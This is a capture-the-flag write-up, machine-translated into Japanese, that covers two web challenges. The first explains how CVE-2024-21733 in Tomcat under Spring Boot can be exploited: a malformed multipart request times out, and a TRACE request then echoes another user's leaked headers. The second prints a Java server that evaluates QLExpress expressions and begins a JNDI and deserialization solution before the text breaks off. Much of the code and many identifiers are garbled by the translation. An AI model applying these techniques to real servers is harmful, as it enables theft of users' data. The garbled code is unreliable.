web
passwdstealer
序文
元々はpasswdstealerです:)
テストポイントは、スプリングブートシナリオでのCVE-2024-21733の使用です。
脆弱性の基本原則の参照https://MP.Weixin.QQ.com/s?__biz=mzg2mdy2odc5ma==mid=2247484002IDX=1SN=7936818B93F22D9A656D8ED4848432C0
二度と繰り返しません。
スプリングブートシナリオでの使用
以前の分析は、Tomcat環境でのこの脆弱性の搾取には特定の条件が必要であることを示しています
タイムアウトエラーをトリガーします。これにより、Reset()がサーバー()のループ処理をトリガーするロジックを呼び出し、Tomcatが一度に複数のリクエストを処理し、漏れた機密データをエコーできるようにします。以下は、裸のスプリングブートシナリオでそれを使用する方法を見つけることです。
テスト環境:Springboot V2.6.13、Tomcatは脆弱性バージョン9.0.43に置き換えられ、ルーティングコントローラーは追加されていません。
step1トリガータイムアウト
目的は、read()を投げるioexception を作成することです
リセット()をスキップして、制限の不整列を引き起こします。
上記の分析でPOCを使用するには、CLが実際の値を超えるCLを使用したパッケージを投稿します
AAAルートが存在せず、POSTデータがTomcatによって処理されないため、数秒で戻りません。
ここでは、投稿データを処理できるリクエストを見つける必要があります。
ここでは、MultiPart/Form-Dataを使用してデータをアップロードします。
タイムアウトタイムアウトは正常にトリガーされました
step2はループ
に入ります次に、リクエストがタイムアウト後にhttp11processor.java#service()のループをまだ入力するように、条件2を満たすようにしてください。デバッグ後、これは条件を満たしていないことがわかりました
KeepAliveはfalseになり、コールスタックを上向きにバックトラックして理由を見つけます。
StatusCodeがStatusDropSconnectionにある場合、KeepAliveはfalseに設定されます
バックトラッキングを続けて、ステータスコードが500に設定されている場所を見つけてください。
追いかけて、それをトリガーしたのはservletexceptionであることがわかります
フォローアップを続け、最終的にトリガーされたIOExceptionがfileuploadexception としてパッケージ化されたことを見つけます
ここでのIOExceptionは、実際にはDocardBodyDataのときに使い果たされました。捕まっていないので、上位に直接投げられました。
この時点で、500の生成の理由を見つけました。500の生成からのリクエストを防ぐ方法を探してみましょう。これは、docardbodydata()をioexceptionを投げることなく、タイムアウトを引き起こす可能性があります。
最初に通常のマルチパートパッケージを使用してテストします。
ここにいくつかの境界基準があります
boundary=--- webkitformboundary7ma4ywxktrzu0gwがコンテンツタイプで設定されていると仮定します。
次に------ WebKitFormBoundary7MA4YWXKTRZU0GWは、パーツの始まりを表します(2つの最初の - )
----- webkitformboundary7ma4ywxkttrzu0gw--フォームの終わりを表します(2つは前後に追加されます - )
ここでは、頭と尾を備えたマルチパートアップロードパッケージを構築します
彼はreadbounddary()に足を踏み入れることができることがわかりました
readbounddary()をフォローアップし続けます。上記の境界基準によれば、マーカー[0]=readbyte();最後の2桁を読んでいます - またはCLRFは、境界の終わりのシンボルです。
しかし、これを行うようにリクエストパッケージを設定した場合、つまり、境界エンドフラグはありませんか?
パケットは続き続け、readbyte()がデータを読み取ることができない場合(送信しなかったため)、最終的にfill()を呼び出し、fillにioexception(step1の位置)を引き起こすことがわかります。
現時点では、readbyte()はioExceptionを投げますが、読み取りに巻き込まれ、不正なストリームエクセプトとしてパッケージ化されます。
この時点で、私はSkippreamble関数に戻り、MalformedStreamExceptionが捕まえることを発見し、500を引き起こすためにIOExceptionを上方に投げ続けることができなくなりました。
} catch(最終的なMalformedstreamexception e){
falseを返します。この時点で、タイミングを出したが404を返したリクエストパッケージを正常に構築し、404はStatusDropSconnectionに含まれていないため、whileループを入力できます。
step3漏れecho
この手順は、トレースリクエストを使用するために直接使用できます。トレースリクエスト
end utilization
ここでは、通常のユーザーのヘッダーにフラグを漏らすという目標を設定します。
まず、敏感な情報を内部に含むリクエスト(このリクエスト中に被害者が送信したと仮定して)を送信します。この時点で、入力バッファはこのように見えます。
攻撃者はリクエストを送信し、通常を返します
この時点で、入力バッファ内の状況はこのようになりました。
最後の最も重要なステップは、攻撃者が瞑想的なマルチパートパッケージを送信することです
この時点で、マルチパートパッケージがタイムアウトした後、whileループに入り、パッケージの送信を継続します。したがって、Nextrequestの後、入力バッファーは完全なトレースリクエストになり、フラグは元のバッファーを上書きすることによりトレース要求のヘッダーになります。
最後に、フラグはトレースのエコーによって得られます。
ここで手に入れるのはヘッダー情報ですが、実際に体を取得できます。これはもう少し面倒です。被害者パッケージの前にCLRFでいっぱいのパッケージを送信し、事前にバッファーをCLRFで満たし、トレースで要求されたヘッダーとしてボディを上書きします。
ezql
パッケージorg.example;
com.ql.util.express.defaultContextをインポートします。
com.ql.util.express.expressrunnerをインポートします。
com.ql.util.express.config.qleexpressruntrategyをインポートします。
com.sun.net.httpserver.httpserverをインポートします。
com.sun.net.httpserver.httphandlerをインポートします。
com.sun.net.httpserver.httpexchangeをインポートします。
sun.misc.base64decoderをインポートします。
java.io.ioexceptionをインポートします。
java.io.inputStreamをインポートします。
java.io.outputStreamをインポートします。
java.net.inetsocketAddressをインポートします。
java.nio.charset.standardcharsetsをインポートします。
java.util.base64をインポートします。
java.util.hashsetをインポートします。
java.util.listをインポートします。
java.util.setをインポートします。
パブリッククラスメイン{
public static void main(string [] args)throws ioexception {
int port=integer.parseint(system.getenv()。getordefault( 'port'、 '8000'));
httpserver server=httpserver.create(new inetsocketAddress(port)、0);
server.createcontext( '/'、new httphandler(){
@オーバーライド
public voidハンドル(httpexchange req)がioexceptionをスローします{
int code=200;
文字列応答;
string path=req.getRequesturi()。getPath();
if( '/ql'.equals(path)){
試す {
文字列式=getRequestBody(req);
Express=new String(base64.getDecoder()。decode(express));
ExpressRunner Runner=new ExpressRunner();
qleexpressrunstrategy.setforbidinovokesecurityRiskMethods(true);
SetString secureMethods=new Hashset();
securemethods.add( 'java.lang.integer.valueof');
qleexpressrunstrategy.setsecuremethods(securemethods);
DefaultContextString、Object Context=new DefaultContext();
応答='0';
試す {
Response=string.valueof(runner.execute(express、context、(list)null、false、false));
} catch(例外e){
System.out.println(e);
}
//string param=req.getRequesturi()。getQuery();
//response=new initialContext()。lookup(param).toString();
} catch(例外e){
e.printstacktrace();
Response=':(';
}
} それ以外{
コード=404;
応答='見つかりません';
}
req.sendresponseheaders(code、response.length());
outputStream os=req.getResponseBody();
os.write(respons.getBytes());
os.close();
}
});
server.start();
System.out.printf( ':%d%n'、portで聞くサーバー);
}
private static string getRequestBody(httpexchange Exchange)はioExceptionをスローします{
inputStream is=exchange.getRequestBody();
byte [] buffer=new byte [1024];
int bytesRead;
stringbuilder body=new StringBuilder();
while((bytesread=is.read(buffer))!=-1){
body.append(new String(Buffer、0、BytesRead、StandardCharsets.utf_8));
}
return body.toString();
}
}
単純なQL式
解決策1
ソリューション1は、実際には少し予期せぬものに偏っており、Qleexpressionの特徴を忘れています。まず、CB依存関係が付属するActiveMQ依存関係があることに気付きました。したがって、脱力化利用チェーンが確認されています。
2つ目は、脱審成をトリガーする方法です。脱派化のトリガーのための2つのアイデアは簡単ではありません。
TemplatesJndiは後者に属します。JDBCrowsetのセッターメソッドを呼び出してルックアップを押すことができます
com.sun.rowset.idbcrowsetimplをインポートします。
jdbc=new jdbcrowsetimpl();
JDBC.DATASOURCENAME='